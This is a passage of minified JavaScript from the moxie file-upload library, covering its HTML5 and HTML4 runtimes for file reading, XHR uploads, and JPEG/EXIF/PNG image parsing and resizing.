t=e.webkitGetAsEntry();t&&(t.isFile?u(e.getAsFile(),t.fullPath):n.push(t))}),n.length?c(n,i):i()):(l.each(e.dataTransfer.files,function(e){u(e)}),r.files=o,r.trigger("drop")))},r.uid),d.addEvent(e,"dragenter",function(e){r.trigger("dragenter")},r.uid),d.addEvent(e,"dragleave",function(e){r.trigger("dragleave")},r.uid)},destroy:function(){d.removeAllEvents(t&&i.get(t.container),this.uid),n=o=s=t=null}})}}),e("moxie/runtime/html5/file/FileReader",["moxie/runtime/html5/Runtime","moxie/core/utils/Encode","moxie/core/utils/Basic"],function(e,o,s){return e.FileReader=function(){var n,r=!1;s.extend(this,{read:function(e,t){var i=this;i.result="",(n=new window.FileReader).addEventListener("progress",function(e){i.trigger(e)}),n.addEventListener("load",function(e){var t;i.result=r?(t=n.result,o.atob(t.substring(t.indexOf("base64,")+7))):n.result,i.trigger(e)}),n.addEventListener("error",function(e){i.trigger(e,n.error)}),n.addEventListener("loadend",function(e){n=null,i.trigger(e)}),"function"===s.typeOf(n[e])?(r=!1,n[e](t.getSource())):"readAsBinaryString"===e&&(r=!0,n.readAsDataURL(t.getSource()))},abort:function(){n&&n.abort()},destroy:function(){n=null}})}}),e("moxie/runtime/html5/xhr/XMLHttpRequest",["moxie/runtime/html5/Runtime","moxie/core/utils/Basic","moxie/core/utils/Mime","moxie/core/utils/Url","moxie/file/File","moxie/file/Blob","moxie/xhr/FormData","moxie/core/Exceptions","moxie/core/utils/Env"],function(e,m,u,h,f,p,g,x,E){return e.XMLHttpRequest=function(){var c,l,d=this;m.extend(this,{send:function(e,t){var i,n=this,r="Mozilla"===E.browser&&E.verComp(E.version,4,">=")&&E.verComp(E.version,7,"<"),o="Android Browser"===E.browser,s=!1;if(l=e.url.replace(/^.+?\/([\w\-\.]+)$/,"$1").toLowerCase(),(c=!window.XMLHttpRequest||"IE"===E.browser&&E.verComp(E.version,8,"<")?function(){for(var e=["Msxml2.XMLHTTP.6.0","Microsoft.XMLHTTP"],t=0;t<e.length;t++)try{return new ActiveXObject(e[t])}catch(e){}}():new window.XMLHttpRequest).open(e.method,e.url,e.async,e.user,e.password),t instanceof p)t.isDetached()&&(s=!0),t=t.getSource();else if(t instanceof g){if(t.hasBlob())if(t.getBlob().isDetached())t=function(e){var i="----moxieboundary"+(new Date).getTime(),n="\r\n",r="";if(this.getRuntime().can("send_binary_string"))return c.setRequestHeader("Content-Type","multipart/form-data; boundary="+i),e.each(function(e,t){e instanceof p?r+="--"+i+n+'Content-Disposition: form-data; name="'+t+'"; filename="'+unescape(encodeURIComponent(e.name||"blob"))+'"'+n+"Content-Type: "+(e.type||"application/octet-stream")+n+n+e.getSource()+n:r+="--"+i+n+'Content-Disposition: form-data; name="'+t+'"'+n+n+unescape(encodeURIComponent(e))+n}),r+="--"+i+"--"+n;throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR)}.call(n,t),s=!0;else if((r||o)&&"blob"===m.typeOf(t.getBlob().getSource())&&window.FileReader)return void function(e,t){var i,n,r=this;i=t.getBlob().getSource(),(n=new window.FileReader).onload=function(){t.append(t.getBlobName(),new p(null,{type:i.type,data:n.result})),d.send.call(r,e,t)},n.readAsBinaryString(i)}.call(n,e,t);t instanceof g&&(i=new window.FormData,t.each(function(e,t){e instanceof p?i.append(t,e.getSource()):i.append(t,e)}),t=i)}if(c.upload?(e.withCredentials&&(c.withCredentials=!0),c.addEventListener("load",function(e){n.trigger(e)}),c.addEventListener("error",function(e){n.trigger(e)}),c.addEventListener("progress",function(e){n.trigger(e)}),c.upload.addEventListener("progress",function(e){n.trigger({type:"UploadProgress",loaded:e.loaded,total:e.total})})):c.onreadystatechange=function(){switch(c.readyState){case 1:case 2:break;case 3:var t,i;try{h.hasSameOrigin(e.url)&&(t=c.getResponseHeader("Content-Length")||0),c.responseText&&(i=c.responseText.length)}catch(e){t=i=0}n.trigger({type:"progress",lengthComputable:!!t,total:parseInt(t,10),loaded:i});break;case 4:c.onreadystatechange=function(){},0===c.status?n.trigger("error"):n.trigger("load")}},m.isEmptyObj(e.headers)||m.each(e.headers,function(e,t){c.setRequestHeader(t,e)}),""!==e.responseType&&"responseType"in c&&("json"!==e.responseType||E.can("return_response_type","json")?c.responseType=e.responseType:c.responseType="text"),s)if(c.sendAsBinary)c.sendAsBinary(t);else{for(var a=new Uint8Array(t.length),u=0;u<t.length;u++)a[u]=255&t.charCodeAt(u);c.send(a.buffer)}else c.send(t);n.trigger("loadstart")},getStatus:function(){try{if(c)return c.status}catch(e){}return 0},getResponse:function(e){var t=this.getRuntime();try{switch(e){case"blob":var i,n=new f(t.uid,c.response),r=c.getResponseHeader("Content-Disposition");return r&&(i=r.match(/filename=([\'\"'])([^\1]+)\1/))&&(l=i[2]),n.name=l,n.type||(n.type=u.getFileMime(l)),n;case"json":return E.can("return_response_type","json")?c.response:200===c.status&&window.JSON?JSON.parse(c.responseText):null;case"document":var o=c,s=o.responseXML,a=o.responseText;return"IE"===E.browser&&a&&s&&!s.documentElement&&/[^\/]+\/[^\+]+\+xml/.test(o.getResponseHeader("Content-Type"))&&((s=new window.ActiveXObject("Microsoft.XMLDOM")).async=!1,s.validateOnParse=!1,s.loadXML(a)),s&&("IE"===E.browser&&0!==s.parseError||!s.documentElement||"parsererror"===s.documentElement.tagName)?null:s;default:return""!==c.responseText?c.responseText:null}}catch(e){return null}},getAllResponseHeaders:function(){try{return c.getAllResponseHeaders()}catch(e){}return""},abort:function(){c&&c.abort()},destroy:function(){d=l=null}})}}),e("moxie/runtime/html5/utils/BinaryReader",["moxie/core/utils/Basic"],function(t){function e(e){(e instanceof ArrayBuffer?function(r){var o=new DataView(r);t.extend(this,{readByteAt:function(e){return o.getUint8(e)},writeByteAt:function(e,t){o.setUint8(e,t)},SEGMENT:function(e,t,i){switch(arguments.length){case 2:return r.slice(e,e+t);case 1:return r.slice(e);case 3:if((i=null===i?new ArrayBuffer:i)instanceof ArrayBuffer){var n=new Uint8Array(this.length()-t+i.byteLength);0<e&&n.set(new Uint8Array(r.slice(0,e)),0),n.set(new Uint8Array(i),e),n.set(new Uint8Array(r.slice(e+t)),e+i.byteLength),this.clear(),r=n.buffer,o=new DataView(r);break}default:return r}},length:function(){return r?r.byteLength:0},clear:function(){o=r=null}})}:function(n){function r(e,t,i){i=3===arguments.length?i:n.length-t-1,n=n.substr(0,t)+e+n.substr(i+t)}t.extend(this,{readByteAt:function(e){return n.charCodeAt(e)},writeByteAt:function(e,t){r(String.fromCharCode(t),e,1)},SEGMENT:function(e,t,i){switch(arguments.length){case 1:return n.substr(e);case 2:return n.substr(e,t);case 3:r(null!==i?i:"",e,t);break;default:return n}},length:function(){return n?n.length:0},clear:function(){n=null}})}).apply(this,arguments)}return t.extend(e.prototype,{littleEndian:!1,read:function(e,t){var i,n,r;if(e+t>this.length())throw new Error("You are trying to read outside the source boundaries.");for(n=this.littleEndian?0:-8*(t-1),i=r=0;r<t;r++)i|=this.readByteAt(e+r)<<Math.abs(n+8*r);return i},write:function(e,t,i){var n,r;if(e>this.length())throw new Error("You are trying to write outside the source boundaries.");for(n=this.littleEndian?0:-8*(i-1),r=0;r<i;r++)this.writeByteAt(e+r,t>>Math.abs(n+8*r)&255)},BYTE:function(e){return this.read(e,1)},SHORT:function(e){return this.read(e,2)},LONG:function(e){return this.read(e,4)},SLONG:function(e){e=this.read(e,4);return 2147483647<e?e-4294967296:e},CHAR:function(e){return String.fromCharCode(this.read(e,1))},STRING:function(e,t){return this.asArray("CHAR",e,t).join("")},asArray:function(e,t,i){for(var n=[],r=0;r<i;r++)n[r]=this[e](t+r);return n}}),e}),e("moxie/runtime/html5/image/JPEGHeaders",["moxie/runtime/html5/utils/BinaryReader","moxie/core/Exceptions"],function(a,u){return function o(e){var r,t,i,s=[],n=new a(e);if(65496!==n.SHORT(0))throw n.clear(),new u.ImageError(u.ImageError.WRONG_FORMAT);for(r=2;r<=n.length();)if(65488<=(t=n.SHORT(r))&&t<=65495)r+=2;else{if(65498===t||65497===t)break;i=n.SHORT(r+2)+2,65505<=t&&t<=65519&&s.push({hex:t,name:"APP"+(15&t),start:r,length:i,segment:n.SEGMENT(r,i)}),r+=i}return n.clear(),{headers:s,restore:function(e){var t,i,n=new a(e);for(r=65504==n.SHORT(2)?4+n.SHORT(4):2,i=0,t=s.length;i<t;i++)n.SEGMENT(r,0,s[i].segment),r+=s[i].length;return e=n.SEGMENT(),n.clear(),e},strip:function(e){var t,i,n=new o(e),r=n.headers;for(n.purge(),t=new a(e),i=r.length;i--;)t.SEGMENT(r[i].start,r[i].length,"");return e=t.SEGMENT(),t.clear(),e},get:function(e){for(var t=[],i=0,n=s.length;i<n;i++)s[i].name===e.toUpperCase()&&t.push(s[i].segment);return t},set:function(e,t){var i,n,r,o=[];for("string"==typeof t?o.push(t):o=t,i=n=0,r=s.length;i<r&&(s[i].name===e.toUpperCase()&&(s[i].segment=o[n],s[i].length=o[n].length,n++),!(n>=o.length));i++);},purge:function(){this.headers=s=[]}}}}),e("moxie/runtime/html5/image/ExifParser",["moxie/core/utils/Basic","moxie/runtime/html5/utils/BinaryReader","moxie/core/Exceptions"],function(p,o,g){function s(e){var t,l,h,f,i;if(o.call(this,e),l={tiff:{274:"Orientation",270:"ImageDescription",271:"Make",272:"Model",305:"Software",34665:"ExifIFDPointer",34853:"GPSInfoIFDPointer"},exif:{36864:"ExifVersion",40961:"ColorSpace",40962:"PixelXDimension",40963:"PixelYDimension",36867:"DateTimeOriginal",33434:"ExposureTime",33437:"FNumber",34855:"ISOSpeedRatings",37377:"ShutterSpeedValue",37378:"ApertureValue",37383:"MeteringMode",37384:"LightSource",37385:"Flash",37386:"FocalLength",41986:"ExposureMode",41987:"WhiteBalance",41990:"SceneCaptureType",41988:"DigitalZoomRatio",41992:"Contrast",41993:"Saturation",41994:"Sharpness"},gps:{0:"GPSVersionID",1:"GPSLatitudeRef",2:"GPSLatitude",3:"GPSLongitudeRef",4:"GPSLongitude"},thumb:{513:"JPEGInterchangeFormat",514:"JPEGInterchangeFormatLength"}},h={ColorSpace:{1:"sRGB",0:"Uncalibrated"},MeteringMode:{0:"Unknown",1:"Average",2:"CenterWeightedAverage",3:"Spot",4:"MultiSpot",5:"Pattern",6:"Partial",255:"Other"},LightSource:{1:"Daylight",2:"Fliorescent",3:"Tungsten",4:"Flash",9:"Fine weather",10:"Cloudy weather",11:"Shade",12:"Daylight fluorescent (D 5700 - 7100K)",13:"Day white fluorescent (N 4600 -5400K)",14:"Cool white fluorescent (W 3900 - 4500K)",15:"White fluorescent (WW 3200 - 3700K)",17:"Standard light A",18:"Standard light B",19:"Standard light C",20:"D55",21:"D65",22:"D75",23:"D50",24:"ISO studio tungsten",255:"Other"},Flash:{0:"Flash did not fire",1:"Flash fired",5:"Strobe return light not detected",7:"Strobe return light detected",9:"Flash fired, compulsory flash mode",13:"Flash fired, compulsory flash mode, return light not detected",15:"Flash fired, compulsory flash mode, return light detected",16:"Flash did not fire, compulsory flash mode",24:"Flash did not fire, auto mode",25:"Flash fired, auto mode",29:"Flash fired, auto mode, return light not detected",31:"Flash fired, auto mode, return light detected",32:"No flash function",65:"Flash fired, red-eye reduction mode",69:"Flash fired, red-eye reduction mode, return light not detected",71:"Flash fired, red-eye reduction mode, return light detected",73:"Flash fired, compulsory flash mode, red-eye reduction mode",77:"Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected",79:"Flash fired, compulsory flash mode, red-eye reduction mode, return light detected",89:"Flash fired, auto mode, red-eye reduction mode",93:"Flash fired, auto mode, return light not detected, red-eye reduction mode",95:"Flash fired, auto mode, return light detected, red-eye reduction mode"},ExposureMode:{0:"Auto exposure",1:"Manual exposure",2:"Auto bracket"},WhiteBalance:{0:"Auto white balance",1:"Manual white balance"},SceneCaptureType:{0:"Standard",1:"Landscape",2:"Portrait",3:"Night scene"},Contrast:{0:"Normal",1:"Soft",2:"Hard"},Saturation:{0:"Normal",1:"Low saturation",2:"High saturation"},Sharpness:{0:"Normal",1:"Soft",2:"Hard"},GPSLatitudeRef:{N:"North latitude",S:"South latitude"},GPSLongitudeRef:{E:"East longitude",W:"West longitude"}},n=(f={tiffHeader:10}).tiffHeader,t={clear:this.clear},p.extend(this,{read:function(){try{return s.prototype.read.apply(this,arguments)}catch(e){throw new g.ImageError(g.ImageError.INVALID_META_ERR)}},write:function(){try{return s.prototype.write.apply(this,arguments)}catch(e){throw new g.ImageError(g.ImageError.INVALID_META_ERR)}},UNDEFINED:function(){return this.BYTE.apply(this,arguments)},RATIONAL:function(e){return this.LONG(e)/this.LONG(e+4)},SRATIONAL:function(e){return this.SLONG(e)/this.SLONG(e+4)},ASCII:function(e){return this.CHAR(e)},TIFF:function(){return i||null},EXIF:function(){var e=null;if(f.exifIFD){try{e=r.call(this,f.exifIFD,l.exif)}catch(e){return null}if(e.ExifVersion&&"array"===p.typeOf(e.ExifVersion)){for(var t=0,i="";t<e.ExifVersion.length;t++)i+=String.fromCharCode(e.ExifVersion[t]);e.ExifVersion=i}}return e},GPS:function(){var e=null;if(f.gpsIFD){try{e=r.call(this,f.gpsIFD,l.gps)}catch(e){return null}e.GPSVersionID&&"array"===p.typeOf(e.GPSVersionID)&&(e.GPSVersionID=e.GPSVersionID.join("."))}return e},thumb:function(){if(f.IFD1)try{var e=r.call(this,f.IFD1,l.thumb);if("JPEGInterchangeFormat"in e)return this.SEGMENT(f.tiffHeader+e.JPEGInterchangeFormat,e.JPEGInterchangeFormatLength)}catch(e){}return null},setExif:function(e,t){return("PixelXDimension"===e||"PixelYDimension"===e)&&function(e,t,i){var n,r,o,s=0;if("string"==typeof t){var a,u=l[e.toLowerCase()];for(a in u)if(u[a]===t){t=a;break}}n=f[e.toLowerCase()+"IFD"],r=this.SHORT(n);for(var c=0;c<r;c++)if(o=n+12*c+2,this.SHORT(o)==t){s=o+8;break}if(!s)return!1;try{this.write(s,i,4)}catch(e){return!1}return!0}.call(this,"exif",e,t)},clear:function(){t.clear(),e=l=h=i=f=t=null}}),65505!==this.SHORT(0)||"EXIF\0"!==this.STRING(4,5).toUpperCase())throw new g.ImageError(g.ImageError.INVALID_META_ERR);if(this.littleEndian=18761==this.SHORT(n),42!==this.SHORT(n+=2))throw new g.ImageError(g.ImageError.INVALID_META_ERR);f.IFD0=f.tiffHeader+this.LONG(n+=2),"ExifIFDPointer"in(i=r.call(this,f.IFD0,l.tiff))&&(f.exifIFD=f.tiffHeader+i.ExifIFDPointer,delete i.ExifIFDPointer),"GPSInfoIFDPointer"in i&&(f.gpsIFD=f.tiffHeader+i.GPSInfoIFDPointer,delete i.GPSInfoIFDPointer),p.isEmptyObj(i)&&(i=null);var n=this.LONG(f.IFD0+12*this.SHORT(f.IFD0)+2);function r(e,t){for(var i,n,r,o,s,a=this,u={},c={1:"BYTE",7:"UNDEFINED",2:"ASCII",3:"SHORT",4:"LONG",5:"RATIONAL",9:"SLONG",10:"SRATIONAL"},l={BYTE:1,UNDEFINED:1,ASCII:1,SHORT:2,LONG:4,RATIONAL:8,SLONG:4,SRATIONAL:8},d=a.SHORT(e),m=0;m<d;m++)if((i=t[a.SHORT(r=e+2+12*m)])!==x){if(o=c[a.SHORT(r+=2)],n=a.LONG(r+=2),!(s=l[o]))throw new g.ImageError(g.ImageError.INVALID_META_ERR);if(r+=4,(r=4<s*n?a.LONG(r)+f.tiffHeader:r)+s*n>=this.length())throw new g.ImageError(g.ImageError.INVALID_META_ERR);"ASCII"===o?u[i]=p.trim(a.STRING(r,n).replace(/\0$/,"")):(s=a.asArray(o,r,n),o=1==n?s[0]:s,h.hasOwnProperty(i)&&"object"!=typeof o?u[i]=h[i][o]:u[i]=o)}return u}n&&(f.IFD1=f.tiffHeader+n)}return s.prototype=o.prototype,s}),e("moxie/runtime/html5/image/JPEG",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/html5/image/JPEGHeaders","moxie/runtime/html5/utils/BinaryReader","moxie/runtime/html5/image/ExifParser"],function(s,a,u,c,l){return function(e){var i,n,t,r=new c(e);if(65496!==r.SHORT(0))throw new a.ImageError(a.ImageError.WRONG_FORMAT);i=new u(e);try{n=new l(i.get("app1")[0])}catch(e){}function o(e){var t,i=0;for(e=e||r;i<=e.length();){if(65472<=(t=e.SHORT(i+=2))&&t<=65475)return i+=5,{height:e.SHORT(i),width:e.SHORT(i+=2)};t=e.SHORT(i+=2),i+=t-2}return null}t=o.call(this),s.extend(this,{type:"image/jpeg",size:r.length(),width:t&&t.width||0,height:t&&t.height||0,setExif:function(e,t){if(!n)return!1;"object"===s.typeOf(e)?s.each(e,function(e,t){n.setExif(t,e)}):n.setExif(e,t),i.set("app1",n.SEGMENT())},writeHeaders:function(){return arguments.length?i.restore(arguments[0]):i.restore(e)},stripHeaders:function(e){return i.strip(e)},purge:function(){!function(){n&&i&&r&&(n.clear(),i.purge(),r.clear(),t=i=n=r=null)}.call(this)}}),n&&(this.meta={tiff:n.TIFF(),exif:n.EXIF(),gps:n.GPS(),thumb:function(){var e,t,i=n.thumb();if(i&&(e=new c(i),t=o(e),e.clear(),t))return t.data=i,t;return null}()})}}),e("moxie/runtime/html5/image/PNG",["moxie/core/Exceptions","moxie/core/utils/Basic","moxie/runtime/html5/utils/BinaryReader"],function(a,u,c){return function(e){for(var t,r=new c(e),i=0,n=0,o=[35152,20039,3338,6666],n=0;n<o.length;n++,i+=2)if(o[n]!=r.SHORT(i))throw new a.ImageError(a.ImageError.WRONG_FORMAT);function s(){r&&(r.clear(),e=t=r=null)}t=function(){var e=function(e){var t,i,n;return t=r.LONG(e),i=r.STRING(e+=4,4),n=e+=4,e=r.LONG(e+t),{length:t,type:i,start:n,CRC:e}}.call(this,8);return"IHDR"==e.type?(e=e.start,{width:r.LONG(e),height:r.LONG(e+=4)}):null}.call(this),u.extend(this,{type:"image/png",size:r.length(),width:t.width,height:t.height,purge:function(){s.call(this)}}),s.call(this)}}),e("moxie/runtime/html5/image/ImageInfo",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/html5/image/JPEG","moxie/runtime/html5/image/PNG"],function(n,r,o,s){return function(t){var i=[o,s],e=function(){for(var e=0;e<i.length;e++)try{return new i[e](t)}catch(e){}throw new r.ImageError(r.ImageError.WRONG_FORMAT)}();n.extend(this,{type:"",size:0,width:0,height:0,setExif:function(){},writeHeaders:function(e){return e},stripHeaders:function(e){return e},purge:function(){t=null}}),n.extend(this,e),this.purge=function(){e.purge(),e=null}}}),e("moxie/runtime/html5/image/MegaPixel",[],function(){function R(e){var t,i=e.naturalWidth;return 1048576<i*e.naturalHeight&&((t=document.createElement("canvas")).width=t.height=1,(t=t.getContext("2d")).drawImage(e,1-i,0),0===t.getImageData(0,0,1,1).data[3])}return{isSubsampled:R,renderTo:function(e,t,i){for(var n=e.naturalWidth,r=e.naturalHeight,o=i.width,s=i.height,a=i.x||0,u=i.y||0,c=t.getContext("2d"),l=(R(e)&&(n/=2,r/=2),1024),d=document.createElement("canvas"),m=(d.width=d.height=l,d.getContext("2d")),h=function(e,t){var i=document.createElement("canvas"),n=(i.width=1,i.height=t,i.getContext("2d")),r=(n.drawImage(e,0,0),n.getImageData(0,0,1,t).data),o=0,s=t,a=t;for(;o<a;)0===r[4*(a-1)+3]?s=a:o=a,a=s+o>>1;i=null;e=a/t;return 0==e?1:e}(e,r),f=0;f<r;){for(var p=r<f+l?r-f:l,g=0;g<n;){var x=n<g+l?n-g:l,E=(m.clearRect(0,0,l,l),m.drawImage(e,-g,-f),g*o/n+a<<0),y=Math.ceil(x*o/n),w=f*s/r/h+u<<0,v=Math.ceil(p*s/r/h);c.drawImage(d,0,0,x,p,E,w,y,v),g+=l}f+=l}}}}),e("moxie/runtime/html5/image/Image",["moxie/runtime/html5/Runtime","moxie/core/utils/Basic","moxie/core/Exceptions","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/runtime/html5/image/ImageInfo","moxie/runtime/html5/image/MegaPixel","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,g,d,x,t,E,y,w,v,R){return e.Image=function(){var i,n,m,r,o,s=this,h=!1,f=!0;function p(){if(m||i)return m||i;throw new d.ImageError(d.DOMException.INVALID_STATE_ERR)}function a(e){return x.atob(e.substring(e.indexOf("base64,")+7))}function u(e){var t=this;(i=new Image).onerror=function(){l.call(this),t.trigger("error",d.ImageError.WRONG_FORMAT)},i.onload=function(){t.trigger("load")},i.src="data:"==e.substr(0,5)?e:"data:"+(o.type||"")+";base64,"+x.btoa(e)}function c(e,t,i,n){var r,o,s,a=0,u=0;if(f=n,o=this.meta&&this.meta.tiff&&this.meta.tiff.Orientation||1,-1!==g.inArray(o,[5,6,7,8])&&(s=e,e=t,t=s),s=p(),!(1<(r=i?(e=Math.min(e,s.width),t=Math.min(t,s.height),Math.max(e/s.width,t/s.height)):Math.min(e/s.width,t/s.height))&&!i&&n)){if(m=m||document.createElement("canvas"),n=Math.round(s.width*r),r=Math.round(s.height*r),i?(m.width=e,m.height=t,e<n&&(a=Math.round((n-e)/2)),t<r&&(u=Math.round((r-t)/2))):(m.width=n,m.height=r),!f){var c=m.width,l=m.height,i=o;switch(i){case 5:case 6:case 7:case 8:m.width=l,m.height=c;break;default:m.width=c,m.height=l}var d=m.getContext("2d");switch(i){case 2:d.translate(c,0),d.scale(-1,1);break;case 3:d.translate(c,l),d.rotate(Math.PI);break;case 4:d.translate(0,l),d.scale(1,-1);break;case 5:d.rotate(.5*Math.PI),d.scale(1,-1);break;case 6:d.rotate(.5*Math.PI),d.translate(0,-l);break;case 7:d.rotate(.5*Math.PI),d.translate(c,-l),d.scale(-1,1);break;case 8:d.rotate(-.5*Math.PI),d.translate(-c,0)}}!function(e,t,i,n,r,o){"iOS"===R.OS?w.renderTo(e,t,{width:r,height:o,x:i,y:n}):t.getContext("2d").drawImage(e,i,n,r,o)}.call(this,s,m,-a,-u,n,r),this.width=m.width,this.height=m.height,h=!0}this.trigger("Resize")}function l(){n&&(n.purge(),n=null),r=i=m=o=null,h=!1}g.extend(this,{loadFromBlob:function(e){var t=this,i=t.getRuntime(),n=!(1<arguments.length)||arguments[1];if(!i.can("access_binary"))throw new d.RuntimeError(d.RuntimeError.NOT_SUPPORTED_ERR);(o=e).isDetached()?(r=e.getSource(),u.call(this,r)):function(e,t){var i,n=this;{if(!window.FileReader)return t(e.getAsDataURL());(i=new FileReader).onload=function(){t(this.result)},i.onerror=function(){n.trigger("error",d.ImageError.WRONG_FORMAT)},i.readAsDataURL(e)}}.call(this,e.getSource(),function(e){n&&(r=a(e)),u.call(t,e)})},loadFromImage:function(e,t){this.meta=e.meta,o=new E(null,{name:e.name,size:e.size,type:e.type}),u.call(this,t?r=e.getAsBinaryString():e.getAsDataURL())},getInfo:function(){var e=this.getRuntime();return!n&&r&&e.can("access_image_binary")&&(n=new y(r)),!(e={width:p().width||0,height:p().height||0,type:o.type||v.getFileMime(o.name),size:r&&r.length||o.size||0,name:o.name||"",meta:n&&n.meta||this.meta||{}}).meta||!e.meta.thumb||e.meta.thumb.data instanceof t||(e.meta.thumb.data=new t(null,{type:"image/jpeg",data:e.meta.thumb.data})),e},downsize:function(){c.apply(this,arguments)},getAsCanvas:function(){return m&&(m.id=this.uid+"_canvas"),m},getAsBlob:function(e,t){return e!==this.type&&c.call(this,this.width,this.height,!1),new E(null,{name:o.name||"",type:e,data:s.getAsBinaryString.call(this,e,t)})},getAsDataURL:function(e){var t=arguments[1]||90;if(!h)return i.src;if("image/jpeg"!==e)return m.toDataURL("image/png");try{return m.toDataURL("image/jpeg",t/100)}catch(e){return m.toDataURL("image/jpeg")}},getAsBinaryString:function(e,t){if(!h)return r=r||a(s.getAsDataURL(e,t));if("image/jpeg"!==e)r=a(s.getAsDataURL(e,t));else{var i;t=t||90;try{i=m.toDataURL("image/jpeg",t/100)}catch(e){i=m.toDataURL("image/jpeg")}r=a(i),n&&(r=n.stripHeaders(r),f&&(n.meta&&n.meta.exif&&n.setExif({PixelXDimension:this.width,PixelYDimension:this.height}),r=n.writeHeaders(r)),n.purge(),n=null)}return h=!1,r},destroy:function(){s=null,l.call(this),this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/flash/Runtime",[],function(){return{}}),e("moxie/runtime/silverlight/Runtime",[],function(){return{}}),e("moxie/runtime/html4/Runtime",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/Runtime","moxie/core/utils/Env"],function(o,e,s,a){var u={};return s.addConstructor("html4",function(e){var t,i=this,n=s.capTest,r=s.capTrue;s.call(this,e,"html4",{access_binary:n(window.FileReader||window.File&&File.getAsDataURL),access_image_binary:!1,display_media:n(u.Image&&(a.can("create_canvas")||a.can("use_data_uri_over32kb"))),do_cors:!1,drag_and_drop:!1,filter_by_extension:n("Chrome"===a.browser&&a.verComp(a.version,28,">=")||"IE"===a.browser&&a.verComp(a.version,10,">=")||"Safari"===a.browser&&a.verComp(a.version,7,">=")),resize_image:function(){return u.Image&&i.can("access_binary")&&a.can("create_canvas")},report_upload_progress:!1,return_response_headers:!1,return_response_type:function(e){return!("json"!==e||!window.JSON)||!!~o.inArray(e,["text","document",""])},return_status_code:function(e){return!o.arrayDiff(e,[200,404])},select_file:function(){return a.can("use_fileinput")},select_multiple:!1,send_binary_string:!1,send_custom_headers:!1,send_multipart:!0,slice_blob:!1,stream_upload:function(){return i.can("select_file")},summon_file_dialog:function(){return i.can("select_file")&&("Firefox"===a.browser&&a.verComp(a.version,4,">=")||"Opera"===a.browser&&a.verComp(a.version,12,">=")||"IE"===a.browser&&a.verComp(a.version,10,">=")||!!~o.inArray(a.browser,["Chrome","Safari"]))},upload_filesize:r,use_http_method:function(e){return!o.arrayDiff(e,["GET","POST"])}}),o.extend(this,{init:function(){this.trigger("Init")},destroy:(t=this.destroy,function(){t.call(i),t=i=null})}),o.extend(this.getShim(),u)}),u}),e("moxie/runtime/html4/file/FileInput",["moxie/runtime/html4/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,d,m,h,f,s,p){return e.FileInput=function(){var a,u,c=[];function l(){var e,t,i,n=this,r=n.getRuntime(),o=m.guid("uid_"),s=r.getShimContainer();a&&(e=h.get(a+"_form"))&&m.extend(e.style,{top:"100%"}),(t=document.createElement("form")).setAttribute("id",o+"_form"),t.setAttribute("method","post"),t.setAttribute("enctype","multipart/form-data"),t.setAttribute("encoding","multipart/form-data"),m.extend(t.style,{overflow:"hidden",position:"absolute",top:0,left:0,width:"100%",height:"100%"}),(i=document.createElement("input")).setAttribute("id",o),i.setAttribute("type","file"),i.setAttribute("name",u.name||"Filedata"),i.setAttribute("accept",c.join(",")),m.extend(i.style,{fontSize:"999px",opacity:0}),t.appendChild(i),s.appendChild(t),m.extend(i.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),"IE"===p.browser&&p.verComp(p.version,10,"<")&&m.extend(i.style,{filter:"progid:DXImageTransform.Microsoft.Alpha(opacity=0)"}),i.onchange=function(){var e;if(this.value){if(this.files){if(0===(e=this.files[0]).size)return void t.parentNode.removeChild(t)}else e={name:this.value};e=new d(r.uid,e),this.onchange=function(){},l.call(n),n.files=[e],i.setAttribute("id",e.uid),t.setAttribute("id",e.uid+"_form"),n.trigger("change"),i=t=null}},r.can("summon_file_dialog")&&(e=h.get(u.browse_button),f.removeEvent(e,"click",n.uid),f.addEvent(e,"click",function(e){i&&!i.disabled&&i.click(),e.preventDefault()},n.uid)),a=o}m.extend(this,{init:function(e){var t,i,n,r=this,o=r.getRuntime();c=(u=e).accept.mimes||s.extList2mimes(e.accept,o.can("filter_by_extension")),t=o.getShimContainer(),n=h.get(e.browse_button),o.can("summon_file_dialog")&&("static"===h.getStyle(n,"position")&&(n.style.position="relative"),i=parseInt(h.getStyle(n,"z-index"),10)||1,n.style.zIndex=i,t.style.zIndex=i-1),i=o.can("summon_file_dialog")?n:t,f.addEvent(i,"mouseover",function(){r.trigger("mouseenter")},r.uid),f.addEvent(i,"mouseout",function(){r.trigger("mouseleave")},r.uid),f.addEvent(i,"mousedown",function(){r.trigger("mousedown")},r.uid),f.addEvent(h.get(e.container),"mouseup",function(){r.trigger("mouseup")},r.uid),l.call(this),t=null,r.trigger({type:"ready",async:!0})},disable:function(e){var t;(t=h.get(a))&&(t.disabled=!!e)},destroy:function(){var e=this.getRuntime(),t=e.getShim(),e=e.getShimContainer();f.removeAllEvents(e,this.uid),f.removeAllEvents(u&&h.get(u.container),this.uid),f.removeAllEvents(u&&h.get(u.browse_button),this.uid),e&&(e.innerHTML=""),t.removeInstance(this.uid),a=c=u=null}})}}),e("moxie/runtime/html4/file/FileReader",["moxie/runtime/html4/Runtime","moxie/runtime/html5/file/FileReader"],function(e,t){return e.FileReader=t}),e("moxie/runtime/html4/xhr/XMLHttpRequest",["moxie/runtime/html4/Runtime","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Url","moxie/core/Exceptions","moxie/core/utils/Events","moxie/file/Blob","moxie/xhr/FormData"],function(e,m,h,f,p,g,x,E){return e.XMLHttpRequest=function(){var u,c,l;function d(t){var e,i,n,r=this,o=!1;if(l){if(e=l.id.replace(/_iframe$/,""),e=h.get(e+"_form")){for(n=(i=e.getElementsByTagName("input")).length;n--;)switch(i[n].getAttribute("type")){case"hidden":i[n].parentNode.removeChild(i[n]);break;case"file":o=!0}i=[],o||e.parentNode.removeChild(e),e=null}setTimeout(function(){g.removeEvent(l,"load",r.uid),l.parentNode&&l.parentNode.removeChild(l);var e=r.getRuntime().getShimContainer();e.children.length||e.parentNode.removeChild(e),e=l=null,t()},1)}}m.extend(this,{send:function(t,e){var 